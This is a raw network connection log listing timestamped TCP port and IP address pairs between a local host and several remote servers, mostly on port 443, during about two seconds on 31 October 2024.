Oct 31, 2024 03:04:26.145435095 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.146007061 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.146039009 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.153717041 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.153728962 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.244846106 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.244971037 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.246504068 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.249980927 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.250025034 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.250053883 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.250068903 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.254328012 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.254373074 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.254581928 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.254761934 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.254780054 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.264096975 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.264395952 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.264461994 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.264710903 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.264735937 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.264751911 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.264759064 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.267654896 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.267682076 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.267775059 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.267910004 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.267925024 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.281354904 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.281414986 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.282776117 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.282923937 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.282924891 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.282943964 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.282964945 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.285556078 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.285587072 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.285770893 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.285933018 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.285942078 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.328483105 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.328708887 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.331711054 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.331747055 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.331763983 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.331777096 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.331784010 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.334116936 CET	49811	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.334131956 CET	443	49811	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.334208965 CET	49811	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.334368944 CET	49811	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.334378958 CET	443	49811	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.502665043 CET	443	49784	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:26.523503065 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.545742989 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.545758963 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.546556950 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.546561956 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.614289045 CET	443	49784	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:26.614353895 CET	49784	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:26.630275965 CET	49784	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:26.630286932 CET	443	49784	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:26.630304098 CET	49784	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:26.630309105 CET	443	49784	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:26.640995026 CET	443	49802	18.244.18.122	192.168.2.5
Oct 31, 2024 03:04:26.641210079 CET	49802	443	192.168.2.5	18.244.18.122
Oct 31, 2024 03:04:26.641252995 CET	443	49802	18.244.18.122	192.168.2.5
Oct 31, 2024 03:04:26.642679930 CET	443	49802	18.244.18.122	192.168.2.5
Oct 31, 2024 03:04:26.642740965 CET	49802	443	192.168.2.5	18.244.18.122
Oct 31, 2024 03:04:26.644054890 CET	49802	443	192.168.2.5	18.244.18.122
Oct 31, 2024 03:04:26.644140959 CET	443	49802	18.244.18.122	192.168.2.5
Oct 31, 2024 03:04:26.674242973 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.674367905 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.674416065 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.740241051 CET	49802	443	192.168.2.5	18.244.18.122
Oct 31, 2024 03:04:26.740262985 CET	443	49802	18.244.18.122	192.168.2.5
Oct 31, 2024 03:04:26.936467886 CET	49802	443	192.168.2.5	18.244.18.122
Oct 31, 2024 03:04:26.979665041 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.983612061 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.003551960 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.022052050 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.063858032 CET	443	49811	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.067712069 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.067737103 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.069231033 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.069277048 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.069309950 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.069310904 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.069353104 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.069363117 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.069400072 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.071851015 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.076350927 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.076596022 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.076855898 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.076872110 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.078597069 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.078603983 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.088386059 CET	49811	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.088401079 CET	443	49811	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.088892937 CET	49811	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.088897943 CET	443	49811	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.089276075 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.089281082 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.089927912 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.089931965 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.090112925 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.090112925 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.090131044 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.090142012 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.103930950 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.103935003 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.104093075 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.104121923 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.104398966 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.104403973 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.104681969 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.104686975 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.118283987 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.148462057 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.148493052 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.148587942 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.151004076 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.151015997 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.168538094 CET	49816	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:27.168570042 CET	443	49816	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:27.168648005 CET	49816	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:27.168921947 CET	49816	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:27.168960094 CET	443	49816	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:27.215812922 CET	443	49811	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.216120005 CET	443	49811	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.216176987 CET	49811	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.216936111 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.217148066 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.217324018 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.228059053 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.228209019 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.228259087 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.230971098 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.231029034 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.231070995 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.237449884 CET	49811	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.237449884 CET	49811	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.237469912 CET	443	49811	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.237479925 CET	443	49811	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.239547014 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.239562035 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.239573002 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.239578962 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.240864038 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.240869999 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.240896940 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.240901947 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.257018089 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.257018089 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.257039070 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.257050991 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.266658068 CET	49817	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.266690016 CET	443	49817	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.266757011 CET	49817	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.268121958 CET	49818	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.268165112 CET	443	49818	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.268233061 CET	49818	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.268491983 CET	49817	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.268505096 CET	443	49817	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.268872023 CET	49819	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:27.268879890 CET	443	49819	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:27.268929005 CET	49819	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:27.269026041 CET	49818	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.269057035 CET	443	49818	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.269996881 CET	49819	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:27.270010948 CET	443	49819	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:27.270172119 CET	49820	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.270199060 CET	443	49820	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.270252943 CET	49820	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.270397902 CET	49820	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.270411015 CET	443	49820	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.271111012 CET	49821	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.271184921 CET	443	49821	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.271260023 CET	49821	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.271621943 CET	49821	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.271652937 CET	443	49821	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.333301067 CET	49735	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:27.334059000 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:27.336121082 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.336222887 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.336285114 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.336297989 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.340866089 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.340926886 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.340935946 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.343158007 CET	80	49735	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:27.343170881 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:27.343240023 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:27.344434977 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:27.344474077 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:27.350063086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:27.350240946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:27.350250959 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:27.350258112 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:27.350327015 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.350438118 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.350450993 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.355024099 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.355155945 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.355164051 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.448134899 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.448220015 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.448227882 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.448353052 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.448411942 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.448420048 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.452405930 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.452488899 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.452497005 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.452526093 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.452579975 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.452595949 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.462122917 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.462199926 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.462208986 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.466896057 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.466989040 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.467000961 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.475860119 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.475938082 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.475946903 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.485011101 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.485094070 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.485104084 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.494743109 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.494944096 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.494954109 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.522365093 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.522535086 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.522545099 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.563882113 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.563970089 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.563971043 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.564016104 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.564078093 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.566078901 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.568751097 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.568815947 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.568824053 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.568933964 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.569138050 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.569145918 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.569761038 CET	49824	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:27.569782972 CET	443	49824	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:27.570020914 CET	49824	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:27.570346117 CET	49825	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:27.570375919 CET	443	49825	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:27.570494890 CET	49825	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:27.572305918 CET	49824	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:27.572319984 CET	443	49824	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:27.572535038 CET	49825	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:27.572555065 CET	443	49825	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:27.582555056 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.582637072 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.582652092 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.582662106 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.582747936 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.583235979 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.584219933 CET	49826	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:27.584229946 CET	443	49826	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:27.584316015 CET	49826	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:27.585412025 CET	49826	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:27.585423946 CET	443	49826	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:27.592206001 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.592405081 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.592412949 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.605613947 CET	49827	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.605639935 CET	443	49827	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.605715036 CET	49827	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.605869055 CET	49827	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.605886936 CET	443	49827	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.607510090 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.607594013 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.607604027 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.611177921 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.611386061 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.611393929 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.639090061 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.639167070 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.639178038 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.711765051 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.834831953 CET	49824	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:27.835457087 CET	49828	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:27.835480928 CET	443	49828	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:27.835541964 CET	49828	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:27.836345911 CET	49828	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:27.836361885 CET	443	49828	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:27.836833000 CET	49825	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:27.836954117 CET	49827	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.837325096 CET	49802	443	192.168.2.5	18.244.18.122
Oct 31, 2024 03:04:27.837450981 CET	443	49802	18.244.18.122	192.168.2.5
Oct 31, 2024 03:04:27.837512970 CET	49802	443	192.168.2.5	18.244.18.122
Oct 31, 2024 03:04:27.837845087 CET	49830	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:27.837871075 CET	443	49830	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:27.837949038 CET	49830	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:27.838323116 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.838331938 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.838417053 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.839411020 CET	49826	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:27.839679003 CET	49832	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:27.839726925 CET	443	49832	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:27.839947939 CET	49832	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:27.839978933 CET	49830	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:27.839988947 CET	443	49830	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:27.840065002 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:27.840074062 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:27.840161085 CET	49832	443	192.168.2.5	172.64.41.3
Oct 31, 2024 03:04:27.840205908 CET	443	49832	172.64.41.3	192.168.2.5
Oct 31, 2024 03:04:27.866072893 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.866194963 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.866309881 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.866319895 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.866430044 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.866478920 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.866487026 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.866585016 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.866642952 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.866655111 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.866674900 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.866722107 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.866734982 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.866873026 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.866928101 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.866935968 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.867006063 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.867095947 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.867105007 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.867289066 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.867343903 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.867352009 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.867496014 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:27.867547035 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:27.867558002 CET	443	49805	142.250.186.33	192.168.2.5
